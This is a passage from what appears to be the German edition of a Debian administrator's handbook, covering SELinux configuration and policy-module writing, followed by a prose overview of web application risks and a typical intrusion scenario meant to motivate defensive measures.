Intern ist eine Domain nur ein Typ, jedoch ein Typ, der nur für Prozesse gilt. Daher tragen Domains das Suffix _t, genau wie Objekttypen.

Standardmäßig übernimmt ein Programm die Domain des Nutzers, der es gestartet hat, aber die normalen SELinux-Regeln erwarten, dass viele wichtige Programme in speziell für sie vorgesehenen Domains laufen. Um dies zu erreichen, werden diese ausführbaren Dateien mit einem fest zugeordneten Typ gekennzeichnet (zum Beispiel wird ssh mit ssh_exec_t gekennzeichnet, und wenn das Programm startet, wechselt es selbstständig in die Domain ssh_t). Dieser automatische Vorgang des Domainwechsels ermöglicht es, jedem Programm nur die Berechtigungen zu gewähren, die es benötigt. Dies ist ein wesentliches Prinzip von SELinux.

Figure 14.4. Selbstständige Übergänge zwischen Domains

IN DER PRAXIS Den Sicherheitskontext finden

Um den Sicherheitskontext eines bestimmten Prozesses festzustellen, kann die Option Z des Befehls ps verwendet werden.

$ ps axZ | grep vstfpd system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd

Das erste Feld enthält durch Doppelpunkte getrennt die Identität, die Rolle, die Domain und die MCS-Stufe. Die MCS-Stufe (Multi-Category Security) ist ein Parameter, der beim Aufbau einer Regel zum Schutz der Vertraulichkeit eingreift, die den Zugriff auf Dateien in Abhängigkeit von ihrer Sensibilität regelt. Dieses Leistungsmerkmal wird in diesem Buch nicht erläutert.

Um in einer Konsole den aktuellen Sicherheitskontext festzustellen, kann man den Befehl id -Z aufrufen.

$ id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Um schließlich auch den Typ festzustellen, der einer Datei zugeordnet ist, kann man den Befehl ls -Z verwenden.

$ ls -Z test /usr/bin/ssh unconfined_u:object_r:user_home_t:s0 test system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

Man sollte beachten, dass die Identität und die Rolle, die einer Datei zugewiesen sind, keine besondere Bedeutung haben (sie werden nie benutzt), aber aus Gründen der Einheitlichkeit wird allen Objekten ein vollständiger Sicherheitskontext zugeordnet.

14.4.2. SELinux einrichten

Die Unterstützung von SELinux ist in den von Debian bereitgestellten Standard-Kerneln enthalten. Die Kernprogramme von Unix unterstützen SELinux ohne Änderungen. Es ist daher recht einfach, SELinux zu aktivieren.

Der Befehl aptitude install selinux-basics selinux-policy-default installiert selbstständig die zur Konfigurierung eines SELinux-Systems erforderlichen Pakete.

Das Paket selinux-policy-default enthält einen Satz von Standardregeln. Standardmäßig beschränkt dieses Regelwerk nur den Zugang für einige besonders gefährdete Dienste. Die Nutzersitzungen sind nicht eingeschränkt, und es ist daher unwahrscheinlich, dass SELinux legitime Nutzeraktionen blockieren würde. Dieses erhöht jedoch die Sicherheit von Systemdiensten, die auf dem Rechner laufen. Um ein Regelwerk einzurichten, das den alten „strengen“ Regeln entspricht, müssen Sie nur das Modul unconfined deaktivieren (die Modulverwaltung wird in diesem Kapitel ausführlich beschrieben).

Sobald das Regelwerk installiert ist, sollten Sie alle verfügbaren Dateien kennzeichnen (das heißt, sie einem Typ zuzuordnen). Dieser Vorgang muss mit dem Befehl fixfiles relabel von Hand gestartet werden.

Das SELinux-System ist nun einsatzbereit. Um es zu aktivieren, sollten Sie den Parameter selinux=1 zum Linux-Kernel hinzufügen. Der Parameter audit=1 aktiviert bei SELinux das Protokollieren, durch das alle unterbundenen Vorgänge aufgezeichnet werden. Schließlich bringt der Parameter enforcing=1 das Regelwerk zur Anwendung: ohne ihn läuft SELinux in seinem standardmäßigen permissive-Modus, bei dem unterbundene Vorgänge zwar protokolliert, aber dennoch ausgeführt werden. Sie sollten daher die Konfigurationsdatei des GRUB-Bootloaders anpassen, indem Sie die gewünschten Parameter anhängen. Ein einfacher Weg, dies zu tun, besteht darin, die Variable GRUB_CMDLINE_LINUX in der Datei /etc/default/grub zu ändern und dann den Befehl update-grub auszuführen. SELinux ist dann nach einem Neustart aktiv.

Es sei darauf hingewiesen, dass das Skript selinux-activate diese Vorgänge automatisiert und das Kennzeichnen der Dateien beim nächsten Rechnerstart erzwingt (wodurch vermieden wird, dass neue nicht gekennzeichnete Dateien erstellt werden, während SELinux noch nicht aktiv ist und das Kennzeichnen noch andauert).

14.4.3. Ein SELinux-System verwalten

Das SELinux-Regelwerk ist ein modularer Satz von Regeln, und mit seiner Installierung werden automatisch alle relevanten Module entsprechend den bereits installierten Diensten erkannt und aktiviert. Das System ist hierdurch sofort funktionsfähig. Wenn jedoch ein Dienst später als das SELinux-Regelwerk installiert wird, müssen Sie in der Lage sein, das entsprechende Modul manuell zu aktivieren. Hierzu dient der Befehl semodule. Darüber hinaus müssen Sie in der Lage sein, die Rollen festzulegen, die jeder Nutzer bestätigen kann. Dies geschieht mit dem Befehl semanage.

Diese beiden Befehle können somit dazu benutzt werden, die aktuelle SELinux-Konfiguration, die in /etc/selinux/default/ gespeichert ist, zu ändern. Im Gegensatz zu anderen Konfigurationsdateien, die Sie in /etc/ finden, dürfen diese Dateien nicht manuell verändert werden. Sie sollten hierzu die für diesen Zweck vorgesehenen Programme verwenden.

WEITERE SCHRITTE Weitere Unterlagen

Da die NSA keine offiziellen Unterlagen bereitstellt, hat die Gemeinschaft zum Ausgleich ein Wiki eingerichtet. Es bündelt viele Informationen, jedoch müssen Sie sich bewusst sein, dass die meisten SELinux-Mitwirkenden Fedora-Benutzer sind (bei dem SELinux standardmäßig aktiviert ist). Die Dokumentation neigt daher dazu, sich vor allem mit dieser Distribution zu beschäftigen.

→ http://www.selinuxproject.org

Sie sollten auch einen Blick auf die entsprechende Debian-Wiki-Seite wie auch auf Russel Cokers Blog werfen, der einer der aktivsten an der SELinux-Unterstützung arbeitenden Debian-Entwickler ist.

→ http://wiki.debian.org/SELinux

→ http://etbe.coker.com.au/tag/selinux/

14.4.3.1. SELinux-Module verwalten

Verfügbare SELinux-Module sind im Verzeichnis /usr/share/selinux/default/ gespeichert. Um eines dieser Module in der aktuellen Konfiguration zu aktivieren, sollten Sie den Befehl semodule -i modul.pp benutzen. Die Erweiterung pp steht für policy package.

Das Entfernen eines Moduls aus der aktuellen Konfiguration geschieht mit dem Befehl semodule -r modul. Schließlich listet der Befehl semodule -l die zur Zeit aktivierten Module auf. Er gibt außerdem ihre Versionsnummern an.

# semodule -i /usr/share/selinux/default/aide.pp # semodule -l aide 1.4.0 apache 1.10.0 apm 1.7.0 [...] # semodule -r aide # semodule -l apache 1.10.0 apm 1.7.0 [...]

semodule lädt die neue Konfiguration unmittelbar, es sei denn, Sie verwenden seine Option -n. Es sei darauf hingewiesen, dass das Programm standardmäßig auf die aktuelle Konfiguration wirkt (die unter der Variablen SELINUXTYPE in der Datei /etc/selinux/config angegeben ist), aber Sie können eine andere ändern, indem Sie sie mit der Option -s vorgeben.

14.4.3.2. Identitäten verwalten

Jedes Mal, wenn sich ein Benutzer anmeldet, wird ihm eine SELinux-Identität zugewiesen. Diese bestimmt die Rollen, die er bestätigen kann. Diese beiden Zuordnungen (des Benutzers zur Identität und der Identität zu den Rollen) können mit dem Befehl semanage konfiguriert werden.

Sie sollten auf jeden Fall die Handbuchseite semanage(8) lesen, auch wenn die Befehlssyntax für alle verwalteten Konzepte tendenziell ähnlich ist. Sie werden Optionen finden, die für alle Unterbefehle gleich sind: -a zum Hinzufügen, -d zum Löschen, -m zum Ändern, -l zum Auflisten und -t zur Anzeige des Typs (oder der Domain).

semanage login -l führt die aktuellen Zuordnungen zwischen Benutzerkennungen und SELinux-Identitäten auf. Benutzer, die keinen ausdrücklichen Eintrag haben, erhalten die Identität, die im Eintrag __default__ angegeben ist. Der Befehl semanage login -a -s user_u benutzer ordnet die Identität user_u dem angegebenen Benutzer zu. Schließlich entfernt der Befehl semanage login -d benutzer den Zuordnungseintrag, der an diesen Benutzer vergeben war.

# semanage login -a -s user_u rhertzog # semanage login -l Login Name SELinux User MLS/MCS Range __default__ unconfined_u s0-s0:c0.c1023 rhertzog user_u None root unconfined_u s0-s0:c0.c1023 system_u system_u s0-s0:c0.c1023 # semanage login -d rhertzog

semanage user -l führt die Zuordnungen zwischen den SELinux-Benutzeridentitäten und den erlaubten Rollen auf. Um eine neue Identität hinzuzufügen, ist es erforderlich, sowohl die entsprechenden Rollen als auch ein kennzeichnendes Präfix festzulegen, das dazu benutzt wird, einem Typ persönliche Dateien (/home/benutzer/*) zuzuordnen. Als Präfix muss user, staff oder sysadm gewählt werden. Das Präfix „staff“ ergibt Dateien des Typs „staff_home_dir_t“. Das Erstellen einer neuen SELinux-Benutzeridentität geschieht mit dem Befehl semanage user -a -R rollen -P präfix identität. Schließlich kann eine SELinux-Benutzeridentität mit dem Befehl semanage user -d identität entfernt werden.

# semanage user -a -R 'staff_r user_r' -P staff test_u # semanage user -l Labeling MLS/ MLS/ SELinux User Prefix MCS Level MCS Range SELinux Roles root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r system_u user s0 s0-s0:c0.c1023 system_r test_u staff s0 s0 staff_r user_r unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r user_u user s0 s0 user_r # semanage user -d test_u

14.4.3.3. Dateikontexte, Ports und Boolesche Optionen verwalten

Jedes SELinux-Modul stellt einen Satz von Dateibezeichnungsregeln zur Verfügung, aber es ist auch möglich, eigene Bezeichnungsregeln hinzuzufügen, um einen speziellen Fall abzudecken. Wenn Sie zum Beispiel möchten, dass der Webserver in der Lage ist, Dateien innerhalb der /srv/www/-Dateihierarchie zu lesen, könnten Sie semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" gefolgt von restorecon -R /srv/www/ ausführen. Der erste Befehl registriert die neue Bezeichnungsregel, und der zweite gleicht die Dateitypen gemäß den derzeitigen Bezeichnungsregeln an.

Ebenso sind die TCP/UDP-Ports in einer Weise gekennzeichnet, die sicherstellt, dass nur die entsprechenden Daemons an ihnen Verbindungen annehmen können. Wenn Sie zum Beispiel möchten, dass der Web-Server am Port 8080 Verbindungen annehmen kann, sollten Sie den Befehl semanage port -m -t http_port_t -p tcp 8080 ausführen.

Einige SELinux-Module exportieren Boolesche Optionen, die Sie justieren können, um das Verhalten der Standardregeln zu ändern. Das Dienstprogramm getsebool kann dazu verwendet werden, diese Optionen anzusehen (getsebool boolesche_option zeigt eine Option an und getsebool -a alle). Der Befehl setsebool boolesche_option wert ändert den aktuellen Wert einer Booleschen Option. Die Option -P macht die Änderung dauerhaft, was bedeutet, dass der neue Wert zum Standard wird und über Neustarts hinaus erhalten bleibt. Das unten stehende Beispiel gewährt Web-Servern Zugriff auf Home-Verzeichnisse (dies ist nützlich, wenn Benutzer persönliche Websites in ~/public_html/ haben).

# getsebool httpd_enable_homedirs httpd_enable_homedirs --> off # setsebool -P httpd_enable_homedirs on # getsebool httpd_enable_homedirs httpd_enable_homedirs --> on

14.4.4. Die Regeln anpassen

Da das SELinux-Regelwerk modular ist, könnte es interessant sein, neue Module für (möglicherweise maßgefertigte) Anwendungen zu entwickeln, für die es diese noch nicht gibt. Diese neuen Module würden dann die Referenzrichtlinien ergänzen.

Zur Erstellung neuer Module werden die Pakete selinux-policy-dev und selinux-policy-doc benötigt. Letzteres enthält die Dokumentation der Standardregeln (/usr/share/doc/selinux-policy-doc/html/) und Beispieldateien, die als Vorlagen für die Erstellung neuer Module verwendet werden können. Installieren Sie diese Dateien und untersuchen Sie sie genauer:

$ zcat /usr/share/doc/selinux-policy-doc/Makefile.example.gz >Makefile $ zcat /usr/share/doc/selinux-policy-doc/example.fc.gz >example.fc $ zcat /usr/share/doc/selinux-policy-doc/example.if.gz >example.if $ cp /usr/share/doc/selinux-policy-doc/example.te ./

Die Datei .te ist die wichtigste. Sie legt die Regeln fest. Die Datei .fc bestimmt die „Dateikontexte“, das heißt, die Typen, die den auf diese Module bezogenen Dateien zugeordnet sind. Die in der Datei .fc befindlichen Daten werden während des Dateikennzeichnungsschrittes benutzt. Schließlich legt die Datei .if die Schnittstelle der Module fest: es ist ein Satz „öffentlicher Funktionen“, die andere Module verwenden können, um ordnungsgemäß mit dem Modul, das Sie erstellen, zu interagieren.

14.4.4.1. Eine .fc-Datei schreiben

Das Lesen des unten stehenden Beispiels sollte genügen, um die Struktur einer derartigen Datei zu verstehen. Sie können reguläre Ausdrücke verwenden, um denselben Sicherheitskontext mehreren Dateien zuzuordnen oder auch einem ganzen Verzeichnisbaum.

Example 14.2. beispiel.fc-Datei

# myapp executable will have: # label: system_u:object_r:myapp_exec_t # MLS sensitivity: s0 # MCS categories: <none> /usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

14.4.4.2. Eine .if-Datei schreiben

In unten stehendem Beispiel kontrolliert die erste Schnittstelle („myapp_domtrans“), wer die Anwendung ausführen kann. Die zweite („myapp_read_log“) gewährt Schreibzugriff auf die Protokolldateien der Anwendung.

Jede Schnittstelle muss einen gültigen Regelsatz erzeugen, der in eine .te-Datei eingegliedert werden kann. Sie sollten daher alle Typen, die Sie verwenden, festlegen (mit dem Makro gen_require) und Standardanweisungen benutzen, um Berechtigungen zu vergeben. Beachten Sie jedoch, dass Sie auch Schnittstellen benutzen können, die von anderen Modulen bereitgestellt werden. Der nächste Abschnitt gibt weitere Erläuterungen darüber, wie diese Berechtigungen ausgedrückt werden können.

Example 14.3. beispiel.if-Datei

## <summary>Myapp example policy</summary> ## <desc> ## <p> ## More descriptive text about myapp. The <desc> ## tag can also use <p>, <ul>, and <ol> ## html tags for formatting. ## </p> ## <p> ## This policy supports the following myapp features: ## <ul> ## <li>Feature A</li> ## <li>Feature B</li> ## <li>Feature C</li> ## </ul> ## </p> ## </desc> # ######################################## ## <summary> ## Execute a domain transition to run myapp. ## </summary> ## <param name="domain"> ## Domain allowed to transition. ## </param> # interface(`myapp_domtrans',` gen_require(` type myapp_t, myapp_exec_t; ') domtrans_pattern($1,myapp_exec_t,myapp_t) ') ######################################## ## <summary> ## Read myapp log files. ## </summary> ## <param name="domain"> ## Domain allowed to read the log files. ## </param> # interface(`myapp_read_log',` gen_require(` type myapp_log_t; ') logging_search_logs($1) allow $1 myapp_log_t:file r_file_perms; ')

DOKUMENTATION Erläuterungen zu den Referenzrichtlinien

Die Referenzrichtlinien entwickeln sich wie jedes freie Softwareprojekt: auf der Grundlage freiwilliger Beiträge. Das Projekt wird von Tresys gehostet, einem der aktivsten Unternehmen im Bereich SELinux. Sein Wiki enthält Erläuterungen darüber, wie die Regeln strukturiert sind, und wie Sie neue erstellen können.

→ http://oss.tresys.com/projects/refpolicy/wiki/GettingStarted

14.4.4.3. Eine .te-Datei schreiben

Sehen Sie sich die beispiel.te-Datei an:

WEITERE SCHRITTE Die Makrosprache m4

Die SELinux-Entwickler verwendeten einen Makro-Befehlsprozessor, um die Richtlinien ordentlich zu strukturieren. Anstatt viele ähnliche allow-Anweisungen zu duplizieren, haben sie „Makrofunktionen“ erstellt, um eine Logik auf höherer Ebene zu verwenden, die auch zu viel leichter lesbaren Richtlinien führt.

Konkret wird m4 benutzt, um diese Regeln zu kompilieren. Es führt den umgekehrten Vorgang durch: es erweitert alle diese auf hoher Ebene befindlichen Anweisungen zu einer großen Datenbank von allow-Anweisungen.

Die SELinux-„Schnittstellen“ sind lediglich Makrofunktionen, die bei der Kompilierung durch einen Regelsatz ersetzt werden. Desgleichen sind einige Berechtigungen in Wirklichkeit Sätze von Berechtigungen, die bei der Kompilierung durch ihre Werte ersetzt werden.

policy_module(myapp,1.0.0) ######################################## # # Declarations # type myapp_t; type myapp_exec_t; domain_type(myapp_t) domain_entry_file(myapp_t, myapp_exec_t) type myapp_log_t; logging_log_file(myapp_log_t) type myapp_tmp_t; files_tmp_file(myapp_tmp_t) ######################################## # # Myapp local policy # allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; allow myapp_t myapp_tmp_t:file manage_file_perms; files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

Das Modul muss mit seinem Namen und seiner Versionsnummer gekennzeichnet sein. Diese Anweisung ist obligatorisch.

Falls das Modul neue Typen einführt, muss es sie mit Anweisungen wie dieser festlegen. Zögern Sie nicht, so viele Typen zu erstellen, wie erforderlich sind, anstatt zu viele nutzlose Berechtigungen zu erteilen.

Diese Schnittstellen legen den Typ myapp_t als Prozess-Domain fest, die von jeder mit myapp_exec_t gekennzeichneten ausführbaren Datei benutzt werden sollte. Dies fügt diesen Objekten stillschweigend auch ein exec_type-Attribut hinzu, das seinerseits anderen Modulen ermöglicht, Berechtigungen zur Ausführung dieser Programme zu gewähren: zum Beispiel erlaubt das userdomain-Modul Prozessen mit den Domains user_t, staff_t und sysadm_t, sie auszuführen. Die Domains anderer eingeschränkter Anwendungen sind nicht berechtigt, sie auszuführen, es sei denn, die Regeln gewähren ihnen ähnliche Berechtigungen (dies trifft zum Beispiel auf dpkg mit seiner dpkg_t-Domain zu).

logging_log_file ist eine von den Referenzrichtlinien bereitgestellte Schnittstelle. Sie zeigt an, dass mit diesem Typ gekennzeichnete Dateien Protokolldateien sind, die die entsprechenden Regeln wahrnehmen können sollten (zum Beispiel dem Befehl logrotate Berechtigungen erteilen, sodass er sie handhaben kann).

Die allow-Anweisung ist die grundlegende Anweisung zur Genehmigung eines Vorgangs. Der erste Parameter ist die Prozess-Domain, der es erlaubt ist, den Vorgang auszuführen. Der zweite legt das Objekt fest, das ein Prozess der zuvor genannten Domain handhaben darf. Dieser Parameter hat die Form „type:class“, wobei type sein SELinux-Typ ist und class die Art des Objekts beschreibt (Datei, Verzeichnis, Socket, FIFO usw.). Schließlich beschreibt der letzte Parameter die Berechtigungen (die erlaubten Vorgänge).

Berechtigungen sind als Satz erlaubter Vorgänge festgelegt und entsprechen diesem Schema: { vorgang1 vorgang2 }. Jedoch können Sie auch Makros verwenden, die die nützlichsten Berechtigungen darstellen. Die Datei /usr/share/selinux/default/include/support/obj_perm_sets.spt listet sie auf.

Die folgende Website stellt eine recht vollständige Liste von Objektklassen und von Berechtigungen, die gewährt werden können, bereit.

→ http://www.selinuxproject.org/page/ObjectClassesPerms

Jetzt müssen Sie lediglich den kleinsten Regelsatz finden, der erforderlich ist, damit die Anwendung oder der Dienst, auf die er abzielt, ordnungsgemäß funktionieren. Um dies zu erreichen, sollten Sie sich gut damit auskennen, wie die Anwendung funktioniert, und welche Art von Daten sie verarbeitet oder erzeugt.

Jedoch ist auch eine auf Erfahrung beruhende Vorgehensweise möglich. Nachdem die relevanten Objekte richtig gekennzeichnet sind, können Sie die Anwendung im permissive-Modus benutzen: die Vorgänge, die verboten würden, werden protokolliert, werden aber weiterhin ausgeführt. Durch eine Analyse der Protokolle können Sie nun die Vorgänge identifizieren, die erlaubt werden sollen. Hier ist ein Beispiel eines derartigen Protokolleintrags:

avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file

Um diese Mitteilung besser verstehen zu können, gehen wir sie Schritt für Schritt durch.

Table 14.1. Analyse eines SELinux-Ablaufs

Meldung | Beschreibung
avc: denied | Ein Vorgang wurde abgelehnt.
{ read write } | Dieser Vorgang erforderte die Berechtigungen read und write.
pid=1876 | Der Prozess mit der PID 1876 hat den Vorgang ausgeführt (oder hat versucht, ihn auszuführen).
comm="syslogd" | Der Prozess war eine Ausführung des Programms syslogd.
name="xconsole" | Das Zielobjekt hieß xconsole.
dev=tmpfs | Das Gerät, auf dem sich das Zielobjekt befindet, ist ein tmpfs (ein im Arbeitsspeicher befindliches Dateisystem). Bei einer echten Platte würden Sie die Partition, die das Objekt enthält, sehen (zum Beispiel: „hda3“).
ino=5510 | Das Objekt ist mit der Inode-Nummer 5510 bezeichnet.
scontext=system_u:system_r:syslogd_t:s0 | Dies ist der Sicherheitskontext des Prozesses, der den Vorgang ausgeführt hat.
tcontext=system_u:object_r:device_t:s0 | Dies ist der Sicherheitskontext des Zielobjekts.
tclass=fifo_file | Das Zielobjekt ist eine FIFO-Datei.

Durch Betrachtung dieses Protokolleintrags ist es möglich, eine Regel zu erstellen, die diesen Vorgang erlauben würde. Zum Beispiel: allow syslogd_t device_t:fifo_file { read write }. Dieser Prozess kann automatisiert werden, und genau dies bietet der Befehl audit2allow (aus dem Paket policycoreutils). Diese Herangehensweise ist nur sinnvoll, wenn die verschiedenen Objekte bereits in Übereinstimmung mit den erforderlichen Einschränkungen richtig gekennzeichnet sind. In jedem Fall müssen Sie die erzeugten Regeln sorgfältig überprüfen und sie auf der Grundlage ihrer Kenntnis der Anwendung bewerten. Faktisch tendiert diese Herangehensweise dazu, mehr Berechtigungen zu erteilen als tatsächlich erforderlich sind. Die richtige Lösung besteht häufig darin, neue Typen zu erstellen und dann nur diesen Typen Berechtigungen zu gewähren. Es kommt auch vor, dass ein verweigerter Vorgang für die Anwendung keine Folgen hat. In diesem Fall kann es besser sein, einfach eine „dontaudit“-Regel hinzuzufügen, um einen Protokolleintrag zu vermeiden, obwohl eine Verweigerung stattgefunden hat.

ERGÄNZUNGEN Keine Rollen in den Richtlinien

Es mag seltsam erscheinen, dass bei der Erstellung neuer Regeln Rollen überhaupt nicht auftreten. SELinux verwendet nur die Domains um herauszufinden, welche Vorgänge erlaubt sind. Die Rolle kommt nur indirekt zum Tragen, indem sie es dem Benutzer erlaubt, zu einer anderen Domain zu wechseln. SELinux basiert auf einer Theorie, die Type Enforcement heißt, und der Typ ist das einzige Element, das bei der Gewährung von Berechtigungen zählt.

14.4.4.4. Die Dateien kompilieren

Sobald die drei Dateien (beispiel.if, beispiel.fc und beispiel.te) Ihren Erwartungen an die neuen Regeln entsprechen, führen Sie einfach make aus, um in der Datei beispiel.pp ein Modul zu erstellen (Sie können es sofort mit semodule -i beispiel.pp laden). Falls mehrere Module festgelegt wurden, wird make alle entsprechenden .pp-Dateien erstellen.

14.5. Weitere sicherheitsbezogene Überlegungen

Sicherheit ist nicht nur ein technisches Problem; mehr als alles andere geht es dabei auch um bewährte Verfahrensweisen und um das Verständnis der Risiken. Dieser Abschnitt bespricht einige der häufigeren Risiken, sowie auch einige erprobte Verfahrensweisen, die je nach Sachlage entweder die Sicherheit erhöhen oder die Auswirkung eines erfolgreichen Angriffs verringern sollten.

14.5.1. Inhärente Risiken von Web-Anwendungen

Der universelle Charakter von Web-Anwendungen hat zu ihrer weiten Verbreitung geführt. Häufig laufen mehrere gleichzeitig: eine Web-Mail, ein Wiki, irgendein Gruppenarbeitssystem, Foren, eine Bildergalerie, ein Blog und so weiter. Viele dieser Anwendungen stützen sich auf den „LAMP“-Stack (Linux, Apache, MySQL, PHP). Leider wurden viele dieser Anwendungen auch ohne große Rücksicht auf Sicherheitsprobleme geschrieben. Von außen kommende Daten werden allzu häufig nach nur geringer ober gar keiner Überprüfung benutzt. Indem speziell hierfür ausgelegte Werte geliefert werden, kann der Aufruf eines Befehls unterlaufen werden, so dass stattdessen ein anderer ausgeführt wird. Viele dieser offensichtlichen Probleme sind im Laufe der Zeit behoben worden, jedoch treten regelmäßig neue Sicherheitsprobleme auf.

WÖRTERVERZEICHNIS SQL-Einschleusung

Wenn ein Programm Daten auf unsichere Weise in SQL-Anfragen einfügt, wird es anfällig für SQL-Einschleusungen; dieser Begriff bezieht sich auf den Austausch eines Parameters in einer Weise, dass die tatsächlich vom Programm ausgeführte Anfrage sich von der beabsichtigten unterscheidet, entweder um die Datenbank zu beschädigen oder um auf Daten zuzugreifen, die normalerweise nicht zugänglich sein sollten.

→ https://de.wikipedia.org/wiki/SQL-Injection

Das regelmäßige Aktualisieren von Web-Anwendungen ist daher ein Muss, damit ein Cracker (ob ein professioneller Angreifer oder ein Skript-Kiddie) eine bekannte Sicherheitslücke nicht ausnutzen kann. Das tatsächliche Risiko hängt vom Einzelfall ab und reicht von der Datenvernichtung bis zur Ausführung beliebigen Codes, einschließlich der Verunstaltung von Websites.

14.5.2. Wissen, was zu erwarten ist

Eine Sicherheitslücke in einer Web-Anwendung wird häufig als Ausgangspunkt für einen Einbruchsversuch benutzt. Im Folgenden werden die möglichen Konsequenzen kurz dargestellt.

KURZER BLICK HTTP-Anfragen filtern

Apache 2 enthält Module, die das Filtern ankommender HTTP-Anfragen ermöglichen. Hierdurch können einige Angriffsvektoren gestoppt werden. Zum Beispiel können Pufferüberläufe durch die Begrenzung der Parameterlänge verhindert werden. Allgemeiner ausgedrückt, kann man Parameter überprüfen, schon bevor sie an die Web-Anwendung weitergeleitet werden, und den Zugang aufgrund zahlreicher Kriterien einschränken. Dies kann sogar mit dynamischen Firewall-Aktualisierungen kombiniert werden, so dass ein Client, der eine der Regeln verletzt, für eine bestimmte Zeit vom Zugang zum Web-Server ausgeschlossen wird.

Das Einrichten dieser Überprüfungen kann eine lange und mühsame Aufgabe sein, sie kann sich aber auszahlen, wenn die Web-Anwendung, die eingesetzt werden soll, in Sicherheitsfragen eine zweifelhafte Erfolgsbilanz hat.

mod-security (im Paket libapache-mod-security) ist das wichtigste derartige Modul.

Die Folgen eines Einbruchs sind unterschiedlich deutlich in Abhängigkeit von den Motiven des Angreifers. Skript-Kiddies wenden lediglich Rezepte an, die sie auf Websites finden; meistens verunstalten sie eine Webseite oder löschen Daten. In subtileren Fällen fügen sie den Webseiten unsichtbare Inhalte hinzu, um so in Suchmaschinen die Verweise auf ihre eigenen Seiten zu verbessern.

Ein fortgeschrittenerer Angreifer wird hierüber hinausgehen. Ein Katastrophenszenarium könnte folgendermaßen aussehen: Der Angreifer erlangt die Fähigkeit, als Benutzer www-data-Befehle auszuführen. Jedoch erfordert die Ausführung eines Befehls zahlreiche Manipulationen. Um sich sein Leben leichter zu machen, installiert er andere Web-Anwendungen, die speziell dafür eingerichtet sind, aus der Ferne zahlreiche Befehlsarten auszuführen, wie das Durchsuchen des Dateisystems, das Begutachten von Berechtigungen, das Hoch- oder Herunterladen von Dateien, die Ausführung von Befehlen und sogar das Bereitstellen einer Netzwerkkonsole. Häufig ermöglicht es eine Sicherheitslücke, einen wget-Befehl auszuführen, mit dem Schadsoftware in das Verzeichnis /tmp/ heruntergeladen wird, um sie dann auszuführen. Die Schadsoftware wird häufig von einer fremden Website heruntergeladen, die zuvor kompromittiert wurde, um so Spuren zu verwischen und es schwieriger zu machen, die Fährte zum tatsächlich Ursprung des Angriffs zu verfolgen.

An diesem Punkt verfügt der Angreifer über ausreichende Bewegungsfreiheit, um einen IRC-bot zu installieren (einen Roboter, der sich mit einem IRC-Server verbindet und über diesen Kanal gesteuert werden kann). Dieser Bot wird häufig dazu verwendet, illegale Dateien zu tauschen (nicht autorisierte Kopien von Filmen oder Software und so weiter). Ein entschlossener Angreifer könnte sogar noch weitergehen wollen. Das Konto www-data erlaubt keinen vollständigen Zugang zum Rechner, und der Angreifer wird versuchen, Administratorrechte zu erlangen. Nun sollte dies nicht möglich sein, aber wenn die Web-Anwendung nicht aktuell war, besteht das Risiko, dass der Kernel und weitere Programme ebenfalls veraltet sind; dies ergibt sich manchmal aus einer Entscheidung des Administrators, der, obwohl er die Sicherheitslücke kennt, es versäumt hat, das System zu aktualisieren, da es keine lokalen Benutzer gibt. Der Angreifer kann dann diese zweite Sicherheitslücke ausnutzen, um Root-Zugang zu erlangen.

WÖRTERVERZEICHNIS Rechteausweitung

Dieser Begriff umfasst alles, was dazu verwendet werden kann, höhere Berechtigungen zu erlangen, als ein bestimmter Benutzer normalerweise haben sollte. Das sudo-Programm dient genau dem Zweck, einigen Benutzern administrative Rechte zu geben. Derselbe Begriff wird aber auch verwendet, um die Tat eines Angreifers zu beschreiben, der eine Sicherheitslücke ausnutzt, um unangemessene Rechte zu erlangen.

Jetzt ist der Angreifer im Besitz des Rechners; er wird gewöhnlich versuchen, diesen privilegierten Zugang möglichst lange zu erhalten. Hierzu ist die Installation eines Rootkits erforderlich, eines Programms, dass einige Komponenten des Systems ersetzt, so dass der Angreifer in der Lage ist, zu einem späteren Zeitpunkt erneut die Privilegien des Administrators zu erlangen; das Rootkit versucht außerdem, sein Vorhandensein zu verbergen, wie auch alle Spuren des Einbruchs. Ein unterwandertes ps-Programm wird dann einige Prozesse nicht auflisten, netstat wird einige der aktiven Verbindungen nicht aufführen und so weiter. Durch Verwendung der Root-Berechtigungen war der Angreifer in der Lage, das ganze System zu beobachten, hat aber keine wichtigen Daten gefunden; daher wird er versuchen, auf andere Rechner des Firmennetzwerks zuzugreifen. Durch die Analyse des Administratorkontos und der Verlaufsdateien findet der Angreifer heraus, auf welche Rechner üblicherweise zugegriffen wird. Indem der Angreifer sudo oder ssh durch ein verfälschtes Programm ersetzt, kann er einige Passwörter des Administrators abfangen, die er bei den entdeckten Servern anwenden wird... und der Einbruch kann sich von hier aus weiterverbreiten.

Dies ist ein Albtraumszenarium, das durch eine Reihe von Maßnahmen verhindert werden kann. Die nächsten Abschnitte beschreiben einige von ihnen.

14.5.3. Die Software wohlüberlegt auswählen

Sobald die möglichen Sicherheitsprobleme bekannt sind, muss ihnen bei jedem Schritt des Bereitstellungsprozesses eines Dienstes Rechnung getragen werden, insbesondere bei der Auswahl der zu installierenden Software. Viele Websites, wie zum Beispiel SecurityFocus.com, unterhalten eine Liste kürzlich entdeckter Sicherheitslücken, die ein Bild einer Sicherheitsbilanz vermitteln können, bevor eine bestimmte Software eingesetzt wird. Natürlich muss diese Information der Popularität der besagten Software gegenübergestellt werden: ein weiter verbreitetes Programm ist ein verlockenderes Ziel und wird folglich eingehender erforscht. Andererseits kann ein Nischenprogramm voller Sicherheitslücken sein, die aufgrund mangelnden Interesses an einem Sicherheitsaudit niemals veröffentlicht werden.

WÖRTERVERZEICHNIS Sicherheitsaudit

